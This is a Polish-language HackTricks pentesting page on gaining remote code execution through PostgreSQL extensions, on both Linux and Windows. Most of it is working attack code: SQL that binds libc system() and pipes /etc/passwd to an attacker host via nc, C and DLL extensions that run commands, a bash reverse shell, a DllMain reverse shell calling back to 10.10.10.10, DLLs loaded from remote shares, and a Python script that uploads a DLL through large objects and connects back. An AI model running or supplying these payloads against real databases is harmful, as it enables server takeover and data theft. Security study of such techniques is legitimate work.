RCE z rozszerzeniami PostgreSQL
Reading time: 10 minutes
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.
Rozszerzenia PostgreSQL
PostgreSQL został opracowany z myślą o rozszerzalności jako kluczowej funkcji, co pozwala na bezproblemową integrację rozszerzeń, jakby były wbudowanymi funkcjonalnościami. Te rozszerzenia, w zasadzie biblioteki napisane w C, wzbogacają bazę danych o dodatkowe funkcje, operatory lub typy.
Od wersji 8.1 wprowadzono szczególny wymóg dotyczący bibliotek rozszerzeń: muszą być kompilowane z użyciem specjalnego nagłówka. Bez tego PostgreSQL ich nie wykona, zapewniając, że używane są tylko kompatybilne i potencjalnie bezpieczne rozszerzenia.
Pamiętaj również, że jeśli nie wiesz jak przesłać pliki do ofiary wykorzystując PostgreSQL, powinieneś przeczytać ten post.
RCE w Linuxie
Aby uzyskać więcej informacji, sprawdź: https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
Wykonanie poleceń systemowych z PostgreSQL 8.1 i wcześniejszych wersji jest procesem, który został jasno udokumentowany i jest prosty. Można to wykorzystać: moduł Metasploit.
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
# You can also create functions to open and write files
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
Zapisz plik binarny z base64
Aby zapisać plik binarny w postgres, może być konieczne użycie base64, co będzie pomocne w tej kwestii:
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
IF fh <= 2 THEN
RETURN 1;
END IF;
SELECT decode(s, 'base64') INTO w;
i := 0;
LOOP
EXIT WHEN i >= octet_length(w);
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
IF rs < 0 THEN
RETURN 2;
END IF;
i := i + 1;
END LOOP;
SELECT close(fh) INTO rs;
RETURN 0;
END;
$$ LANGUAGE 'plpgsql';
Jednakże, gdy próbowano na wyższych wersjach pojawił się następujący błąd:
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
Ten błąd jest wyjaśniony w dokumentacji PostgreSQL:
Aby upewnić się, że dynamicznie załadowany plik obiektowy nie jest ładowany do niekompatybilnego serwera, PostgreSQL sprawdza, czy plik zawiera „magiczny blok” z odpowiednią zawartością. Umożliwia to serwerowi wykrycie oczywistych niekompatybilności, takich jak kod skompilowany dla innej głównej wersji PostgreSQL. Magiczny blok jest wymagany od wersji PostgreSQL 8.2. Aby dołączyć magiczny blok, napisz to w jednym (i tylko jednym) z plików źródłowych modułu, po dołączeniu nagłówka fmgr.h:
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
Od wersji PostgreSQL 8.2 proces, w którym atakujący może wykorzystać system, stał się bardziej wymagający. Atakujący musi albo wykorzystać bibliotekę, która jest już obecna w systemie, albo przesłać niestandardową bibliotekę. Ta niestandardowa biblioteka musi być skompilowana w zgodności z kompatybilną główną wersją PostgreSQL i musi zawierać określony „magiczny blok”. Środek ten znacznie zwiększa trudność w wykorzystywaniu systemów PostgreSQL, ponieważ wymaga głębszego zrozumienia architektury systemu i zgodności wersji.
Skompiluj bibliotekę
Uzyskaj wersję PostgreSQL za pomocą:
SELECT version();
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
Aby zapewnić zgodność, kluczowe jest, aby główne wersje były zgodne. Dlatego kompilacja biblioteki z dowolną wersją w serii 9.6.x powinna zapewnić pomyślną integrację.
Aby zainstalować tę wersję w swoim systemie:
apt install postgresql postgresql-server-dev-9.6
I skompiluj bibliotekę:
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
Następnie załaduj skompilowaną bibliotekę i wykonaj polecenia za pomocą:
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
#Notice the double single quotes are needed to scape the qoutes
Możesz znaleźć tę bibliotekę wstępnie skompilowaną dla kilku różnych wersji PostgreSQL i nawet możesz zautomatyzować ten proces (jeśli masz dostęp do PostgreSQL) za pomocą:
{{#ref}} https://github.com/Dionach/pgexec {{#endref}}
RCE w Windows
Następujący DLL przyjmuje jako wejście nazwę binarnego oraz liczbę razy, które chcesz go wykonać, i wykonuje go:
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include "utils/builtins.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(pgsql_exec);
/* this function launches the executable passed in as the first parameter
in a FOR loop bound by the second parameter that is also passed*/
Datum
pgsql_exec(PG_FUNCTION_ARGS)
{
/* convert text pointer to C string */
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
/* retrieve the second argument that is passed to the function (an integer)
that will serve as our counter limit*/
int instances = PG_GETARG_INT32(1);
for (int c = 0; c < instances; c++) {
/*launch the process passed in the first parameter*/
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
}
PG_RETURN_VOID();
}
Możesz znaleźć skompilowaną DLL w tym zipie:
Możesz wskazać tej DLL który plik binarny wykonać oraz liczbę razy, aby go wykonać, w tym przykładzie wykona calc.exe
2 razy:
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
SELECT remote_exec('calc.exe', 2);
DROP FUNCTION remote_exec(text, integer);
W tutaj możesz znaleźć ten reverse-shell:
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
#define PG_REVSHELL_CALLHOME_PORT "4444"
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
#pragma warning(push)
#pragma warning(disable: 4996)
#define _WINSOCK_DEPRECATED_NO_WARNINGS
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
_In_ DWORD fdwReason,
_In_ LPVOID lpvReserved)
{
WSADATA wsaData;
SOCKET wsock;
struct sockaddr_in server;
char ip_addr[16];
STARTUPINFOA startupinfo;
PROCESS_INFORMATION processinfo;
char *program = "cmd.exe";
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
WSAStartup(MAKEWORD(2, 2), &wsaData);
wsock = WSASocket(AF_INET, SOCK_STREAM,
IPPROTO_TCP, NULL, 0, 0);
struct hostent *host;
host = gethostbyname(ip);
strcpy_s(ip_addr, sizeof(ip_addr),
inet_ntoa(*((struct in_addr *)host->h_addr)));
server.sin_family = AF_INET;
server.sin_port = htons(port);
server.sin_addr.s_addr = inet_addr(ip_addr);
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
NULL, NULL, NULL, NULL);
memset(&startupinfo, 0, sizeof(startupinfo));
startupinfo.cb = sizeof(startupinfo);
startupinfo.dwFlags = STARTF_USESTDHANDLES;
startupinfo.hStdInput = startupinfo.hStdOutput =
startupinfo.hStdError = (HANDLE)wsock;
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
NULL, NULL, &startupinfo, &processinfo);
return TRUE;
}
#pragma warning(pop) /* re-enable 4996 */
/* Add a prototype marked PGDLLEXPORT */
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(add_one);
Datum dummy_function(PG_FUNCTION_ARGS)
{
int32 arg = PG_GETARG_INT32(0);
PG_RETURN_INT32(arg + 1);
}
Zauważ, że w tym przypadku złośliwy kod znajduje się wewnątrz funkcji DllMain. Oznacza to, że w tym przypadku nie jest konieczne wykonywanie załadowanej funkcji w postgresql, wystarczy załadować DLL, aby wykonać reverse shell:
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
Projekt PolyUDF jest również dobrym punktem wyjścia z pełnym projektem MS Visual Studio i gotową do użycia biblioteką (w tym: command eval, exec i cleanup) z obsługą wielu wersji.
RCE w najnowszych wersjach PostgreSQL
W najnowszych wersjach PostgreSQL nałożono ograniczenia, w których superuser
jest zabroniony od ładowania plików bibliotek współdzielonych, z wyjątkiem określonych katalogów, takich jak C:\Program Files\PostgreSQL\11\lib
w systemie Windows lub /var/lib/postgresql/11/lib
w systemach *nix. Te katalogi są zabezpieczone przed operacjami zapisu przez konta NETWORK_SERVICE lub postgres.
Pomimo tych ograniczeń, uwierzytelniony superuser
bazy danych może zapisywać pliki binarne w systemie plików za pomocą "dużych obiektów." Ta zdolność obejmuje zapis w katalogu C:\Program Files\PostgreSQL\11\data
, co jest niezbędne do operacji bazy danych, takich jak aktualizacja lub tworzenie tabel.
Znacząca luka wynika z polecenia CREATE FUNCTION
, które zezwala na przechodzenie przez katalogi do katalogu danych. W związku z tym uwierzytelniony atakujący mógłby wykorzystać to przejście, aby zapisać plik biblioteki współdzielonej w katalogu danych, a następnie załadować go. To wykorzystanie umożliwia atakującemu wykonanie dowolnego kodu, osiągając wykonanie kodu natywnego w systemie.
Przebieg ataku
Przede wszystkim musisz użyć dużych obiektów do przesłania dll. Możesz zobaczyć, jak to zrobić tutaj:
{{#ref}} big-binary-files-upload-postgresql.md {{#endref}}
Gdy przesłałeś rozszerzenie (o nazwie poc.dll w tym przykładzie) do katalogu danych, możesz je załadować za pomocą:
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
select connect_back('192.168.100.54', 1234);
Note, że nie musisz dodawać rozszerzenia .dll
, ponieważ funkcja create doda je automatycznie.
Aby uzyskać więcej informacji, przeczytaj oryginalną publikację tutaj.
W tej publikacji użyto tego kodu do wygenerowania rozszerzenia postgres (aby dowiedzieć się, jak skompilować rozszerzenie postgres, przeczytaj dowolną z wcześniejszych wersji).
Na tej samej stronie podano eksploit do zautomatyzowania tej techniki:
#!/usr/bin/env python3
import sys
if len(sys.argv) != 4:
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
sys.exit(1)
host = sys.argv[1]
port = int(sys.argv[2])
lib = sys.argv[3]
with open(lib, "rb") as dll:
d = dll.read()
sql = "select lo_import('C:/Windows/win.ini', 1337);"
for i in range(0, len(d)//2048):
start = i * 2048
end = (i+1) * 2048
if i == 0:
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
else:
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
if (len(d) % 2048) != 0:
end = (i+1) * 2048
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
sql += "select lo_export(1337, 'poc.dll');"
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
sql += "select connect_back('%s', %d);" % (host, port)
print("(+) building poc.sql file")
with open("poc.sql", "w") as sqlfile:
sqlfile.write(sql)
print("(+) run poc.sql in PostgreSQL using the superuser")
print("(+) for a db cleanup only, run the following sql:")
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
print(" drop function connect_back(text, integer);")
Odniesienia
- https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/
- https://www.exploit-db.com/papers/13084
tip
Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Wsparcie HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegram lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów github.